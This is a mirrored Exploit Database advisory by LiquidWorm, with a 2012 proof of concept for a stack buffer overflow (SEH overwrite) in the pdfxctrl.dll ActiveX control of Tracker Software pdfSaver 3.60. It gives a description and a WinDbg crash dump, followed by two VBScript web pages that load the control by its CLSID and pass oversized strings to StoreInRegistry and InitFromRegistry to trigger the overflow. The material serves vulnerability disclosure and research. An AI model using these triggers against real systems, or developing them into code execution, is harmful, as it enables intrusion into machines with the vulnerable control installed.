Tracker Software pdfSaver ActiveX 3.60 – ‘pdfxctrl.dll’ Stack Buffer Overflow (SEH) (PoC)

• Exploit Database
• 118 阅读

• 作者： LiquidWorm
  日期： 2012-01-29
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18427/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129

  Tracker Software pdfSaver ActiveX 3.60 (pdfxctrl.dll) Stack Buffer Overflow (SEH)     Vendor: ------- Tracker Software Products Ltd.     Product web page: ----------------- http://www.tracker-software.com     Affected version: ----------------- 3.60.0128     Summary: -------- PDF-Saver Technology is a unique new feature of PDF-XChange software which allows printing jobs to be combined prior to the final PDF file being generated - (e.g. to join 3 pages of Excel spreadsheet, 5 slides of PowerPoint presentation and 10 pages of Word document into one PDF document).     Description: ------------ The PDF Printer Preferences ActiveX suffers from a buffer overflow vulnerability. When a large buffer is sent to the sub_path item of the StoreInRegistry function, and the sub_key item of the InitFromRegistry function, in pdfxctrl.dll module, we get a SEH overwrite. An attacker can gain access to the system of the affected node and execute arbitrary code.     ------------------------------------------------------------------------   (1fac.1ea8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0013e9e0 ebx=00000003 ecx=0000008c edx=00001815 esi=0013cd74 edi=0013fffd eip=7c834d8f esp=0013b75c ebp=0013b780 iopl=0 nv up ei pl nz na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00210206 kernel32!lstrcatA+0x36: 7c834d8f f3a5rep movs dword ptr es:[edi],dword ptr [esi] 0:000> !exchain 0013b770: kernel32!_except_handler3+0 (7c839ac0) CRT scope0, filter: kernel32!lstrcatA+45 (7c84086d) func: kernel32!lstrcatA+49 (7c840876) 0013f1ac: 41414141 Invalid exception stack at 41414141 0:000> d esp 0013b75c2a 30 00 00 cc 63 18 00-03 00 00 00 5c b7 13 00*0...c......\... 0013b76c2a 30 00 00 ac f1 13 00-c0 9a 83 7c a8 4d 83 7c*0.........|.M.| 0013b77c00 00 00 00 e4 ed 13 00-e7 d8 01 10 e0 e9 13 00................ 0013b78c90 b7 13 00 41 41 41 41-41 41 41 41 41 41 41 41....AAAAAAAAAAAA 0013b79c41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 0013b7ac41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 0013b7bc41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 0013b7cc41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA   ------------------------------------------------------------------------     Tested on: ---------- Microsoft Windows XP Professional SP3 (EN)     Vulnerability discovered by: ---------------------------- Gjoko &apos;LiquidWorm&apos; Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk     Advisory ID: ------------ ZSL-2012-5067     Advisory URL: ------------- http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5067.php       25.01.2012     PoC (COMRaider): ----------------   <object classid=&apos;clsid:2EE01CFA-139F-431E-BB1D-5E56B4DCEC18&apos; id=&apos;zsl&apos; /> <script language=&apos;vbscript&apos;>   targetFile = "C:\PDF-XChange\pdfSaver\pdfxctrl.dll" prototype= "Sub StoreInRegistry ( ByVal page_id As PdfPrinterDialogPage ,ByVal sub_path As String )" memberName = "StoreInRegistry" progid = "pdfxctrlLib.PdfPrinterPreferences" argCount = 2   arg1=1 arg2=String(6164, "A")   zsl.StoreInRegistry arg1 ,arg2   </script>   --------------------   <object classid=&apos;clsid:2EE01CFA-139F-431E-BB1D-5E56B4DCEC18&apos; id=&apos;zsl&apos; /> <script language=&apos;vbscript&apos;>   targetFile = "C:\PDF-XChange\pdfSaver\pdfxctrl.dll" prototype= "Sub InitFromRegistry ( ByVal page_id As PdfPrinterDialogPage ,ByVal sub_key As String )" memberName = "InitFromRegistry" progid = "pdfxctrlLib.PdfPrinterPreferences" argCount = 2   arg1=1 arg2=String(14356, "A")   zsl.InitFromRegistry arg1 ,arg2   </script>